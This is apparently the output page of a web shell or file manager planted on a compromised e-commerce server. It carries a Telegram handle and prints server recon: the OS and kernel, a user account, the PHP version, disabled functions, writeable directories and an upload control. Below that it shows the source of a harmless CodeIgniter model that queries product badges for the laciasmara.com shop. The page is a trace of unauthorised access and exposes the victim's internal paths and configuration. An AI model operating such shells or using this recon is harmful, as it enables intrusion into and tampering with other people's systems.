https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/laciasmara.com/public_html/shop/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/laciasmara.com/public_html/shop/application/models/Badge_m.php
<?php
defined('BASEPATH') or exit('No direct script access allowed');

class Badge_m extends CI_Model
{
    private $table = 'badges';

    public function get_all_badges()
    {
        return $this->db->get($this->table)->result();
    }

    public function get_badge_by_id($badge_id)
    {
        return $this->db->get_where($this->table, ['id' => $badge_id])->row();
    }

    public function get_badge_name_by_id($badge_id)
    {
        $query = $this->db->select('name')
            ->get_where($this->table, ['id' => $badge_id])
            ->row();

        return $query ? $query->name : null;
    }


    public function get_products_by_badge_id($badge_id)
    {
        $this->db->select('
            products.id_products, 
            products.title, 
            products.alias,
            product_badges.badge_id, 
            product_badges.position, 
            product_badges.priority, 
            product_badges.start_date, 
            product_badges.end_date,
            pi.image as image,
            pd.id as product_detail_id,
            MIN(pd.price) as min_price,
            MAX(pd.price) as max_price,
            badges.*
        ');
        $this->db->from('product_badges');
        $this->db->join('products', 'products.id_products = product_badges.product_id');
        $this->db->join('product_details pd', 'pd.product_id = products.id_products', 'left');
        $this->db->join('product_images pi', 'pi.product_details_id = pd.id AND pi.priority = 1 AND pi.status = 1', 'left');
        $this->db->join('badges', 'badges.id = product_badges.badge_id', 'left');
        $this->db->where('product_badges.badge_id', $badge_id);
        $this->db->where('product_badges.is_active', 1);
        $this->db->group_by('products.id_products, product_badges.id');
        $this->db->order_by('product_badges.priority', 'ASC');

        $results = $this->db->get()->result();

        // Process image URLs and price formatting
        foreach ($results as &$product) {
            // Handle image URL
            if (!empty($product->image)) {
                $product->image_url = base_url('uploads/product/') . $product->image;
            } else {
                $product->image_url = base_url('assets/images/product-placeholder.png');
            }

            // Format price display
            if ($product->min_price == $product->max_price) {
                $product->price_display = 'Rp ' . number_format($product->min_price, 0, ',', '.');
            } else {
                $product->price_display = 'Rp ' . number_format($product->min_price, 0, ',', '.') .
                    ' - Rp ' . number_format($product->max_price, 0, ',', '.');
            }

            // Format position untuk display
            $positions = [
                'top-left' => 'Kiri Atas',
                'top-right' => 'Kanan Atas',
                'bottom-left' => 'Kiri Bawah',
                'bottom-right' => 'Kanan Bawah',
                'center' => 'Tengah'
            ];
            $product->position_display = $positions[$product->position] ?? $product->position;
        }

        return $results;
    }

    public function remove_badge_from_product($badge_id, $product_id)
    {
        $this->db->where('badge_id', $badge_id);
        $this->db->where('product_id', $product_id);
        return $this->db->delete('product_badges');
    }
}

https://t.me/RX1948 - 2025